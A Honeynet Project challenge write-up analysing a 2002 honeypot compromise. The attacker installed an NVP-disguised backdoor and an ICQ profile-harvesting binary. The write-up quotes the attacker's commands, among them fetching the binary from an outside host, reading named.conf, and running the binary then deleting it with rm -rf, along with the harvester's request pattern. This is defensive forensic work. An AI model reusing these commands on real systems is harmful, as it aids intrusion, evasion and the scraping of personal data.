PROJECT.HONEYNET.ORG - SCAN 22 August 21, 2002 Author: Ben Heinkel, CISSP (bennyhe@hotmail.com) Greets: #IDS Crew Analysis: Once the attacker had penetrated the honeypot using a WU-FTPD vulnerability, he/she proceeded to install a remotely controllable backdoor, with DDOS capabilities (which were not used in this attack), that communicates with the attacker through a protocol that poses as NVP (Network Voice Protocol - Protocol 11). Questions 1. What is the attacker's IP address? The attacker's IP address was first evident in Frame 7. This was masqueraded NVP data that was sent to the backdoor on the Honeypot, to set the address it would send its outputs to (although it actually sent all the data destined for the attacker to 11.11.11.11. The attacker must have had control over that NS server). 00 02 01 CB AD 90 32 00 00 00 00 00 00 00 00 00 ......2......... The address lies in bytes 4-7 CD AD 90 32 = 203.173.144.50 Resolves to: p50-tnt7.syd.ihug.com.au This same address was used to retrieve the backdoor binary `foo' via HTTP. 2. What is the attacker doing first? What do you think is his/her motivation for doing this? The attacker starts by giving the backdoor an IP address where it should send its outputs. He/she then passes a command option to the backdoor, to have it send its results to multiple random addresses, as a way of creating noise to try and disguise his/her real IP. After this the attacker issues the command "grep -i zone /etc/named.conf" to find zone information for the Honeypot, which could possibly be used in a DNS attack later on, incase he lost access and wanted back in. 3. Why there is some readable text in packets #17-#25 (and some others), but not in packets #15-#16 (and several others)? What differentiates these groups of packets from each other? There is readable text in many of the packets, as it has all been transferred by standard unencrypted protocols - in plaintext. Certain packets are not `readable' as such, due to the fact that they have been encrypted with a `custom encoding algorithm'[1] used by NVP - which the backdoor uses to cloak its activities, and manage to bypass several poorly configured firewalls/IDS. 4. What is the purpose of 'foo'? Can you provide more insights about the internal workings of 'foo'? Do you think that 'foo' was coded by a good programmer or by an amateur? `foo' is a program that the attacker downloaded, from a machine he had access to, via HTTP. It works under the principles of a distributed network, and is the client that contacts the master node (via UDP on port 53414), to get a starting ICQ UIN #. It then attempts to find valid ICQ UIN's starting from the number it has received and possibly record the owner's information for later use (spamming). GET /wwp?uin=9207101 HTTP/1.0 - is the command issued by foo once connected to the ICQ server (web.icq.com). The UIN number is incremented by one, after each try. Once run, this program masquerades as `nfsiod' as a simple method to avoid detection. The author of this program, seemed to know his distributed system's concepts. The program was rather large though, considering the few functions it performed (roughly 215k). Chunky program ? Old Compiler ? Author was not an amateur. 5. What is the purpose of './ttserve ; rm -rf /tmp/ttserve' as done by the attacker? `ttserve' is the name under which the binary `foo' was saved under. The purpose of the above command was to run the binary, and delete it as soon as it completed execution (to not leave any traces behind). The full command is actually `./ttserve ; rm -rf /tmp/ttserve ./ttserve', which deletes /tmp/ttserve as well as ttserve in the current working directory, if such a copy existed (cautious hacker ?). His command did not terminate as expected, or he had to terminate it prematurely - as he issued `kill -9 ttserve' a few times, aswell as `kill -9 lynx' to halt the web-browser lynx. 6. How do you think the attacker will use the results of his activity involving 'foo'? Assuming the attacker managed to log everything that the ICQ servers had sent back to him/her, he would now have a collection of valid UIN's, with their respective owners full names, e-mail addresses, phone numbers, interests, and everything else they would have possibly filled into their ICQ profile. This kind of information is usually used for spamming, and in this case the advertisements could be tailored to the users interests/hobbies etc.. for a better success rate. Bonus Question: 7. If you administer a network, would you have caught such NVP backdoor communication? If yes, how? If you do not administer a network, what do you think is the best way to prevent such communication from happening and/or detect it? I think the best way of preventing such communication from happening is to have your filtering devices block everything, apart from the protocols that your system and its users are using. You could do the same with your IDS's - which is to log all traffic of protocols that are not usually received by your network. Evidence Log Analysis (Interesting events)- NBTSTAT - throughout the log there have been various NBTSTAT queries - usually to nonexistent hosts. (randomly looking for open shares ?) Attackers HTTP Server response - #78 -- "Server: Foobarcatdog1 . Content-type: text/x-csrc Content-length: 215 464 bytes" Request for `foo' binary - #76 -- "HTTP GET issued "GET /foo HTTP 1.0 Host: 216.232.103.2:8882" Source - honeypot Destination - 11.11.11.11 Backdoor requesting Start UIN from Master - #529 - UDP packet. s: honeypot:1025 d: 11.11.11.11:53413 (Contents contains string `GU' - possibly GET UIN) #530 - UDP packet. s:11.11.11.11:53413 d: honeypot:1025 (Contents includes start number 9207100) FTP connection attempt #2465 - ftp connection attempt - s: dom11-246.menta.net:4114, d: honeypot .2 and .8 Several connection attempts - connections do not complete. #2485 - Connection lagged - Honeypot sending FTP connection response now ("serv1 FTP server wu- 2.6.0)" #2589 - Same FTP attempt again - receives version number but no login/password prompt. #2696 - FTP sends 'Timeout (900 seconds). Closes connection Analysis of the `foo' binary [jethro@antiloop /home/jethro/honey/scan22/trace] % file foo 22:22 foo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped [jethro@antiloop /home/jethro/honey/scan22/trace] % strings foo|more <...> 216.242.103.2 web.icq.com GET /wwp?Uin=%lu HTTP/1.0 Host: web.icq.com <...> The IP Address 216.242.103.2 is probably the address of the Master that the client contacts to receive the starting UIN. Output of lsof while binary running: ttserve 1502 fooz cwd DIR 3,2 600 2 / ttserve 1502 fooz rtd DIR 3,2 600 2 / ttserve 1502 fooz txt REG 3,7 215465 15282 /home/fooz/ttserve ttserve 1502 fooz 0u CHR 136,6 8 /dev/pts/6 ttserve 1502 fooz 1u CHR 136,6 8 /dev/pts/6 ttserve 1502 fooz 2u CHR 136,6 8 /dev/pts/6 ttserve 1502 fooz 3r FIFO 0,6 2034190 pipe ttserve 1502 fooz 4w FIFO 0,6 2034190 pipe ttserve 1502 fooz 5r REG 3,7 215465 15282 /home/fooz/ttserve ttserve 1502 fooz 6r REG 3,7 215465 15282 /home/fooz/ttserve ttserve 1502 fooz 7u IPv4 2036568 UDP *:1028 fooz@antiloop:~$ strace ./ttserve execve("./ttserve", ["./ttserve"], [/* 14 vars */]) = 0 personality(PER_LINUX) = 0 sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40087518) = 0 fork() = 1522 --- SIGCHLD (Child exited) --- _exit(0) = ? ps: fooz 1517 0.0 0.0 268 72 ? S 23:46 0:00 (nfsiod) fooz 1518 0.0 1.2 3540 1572 pts/6 R 23:46 0:00 ps aux Here we identify the backdoors ability to appear as `nfsiod'. Tools used Strace , lsof , strings, grep, tcpdump, decoder, ethereal , file [1] - http://project.honeynet.org/reverse/results/project/020601-Analysis-IP-Proto11-Backdoor.pdf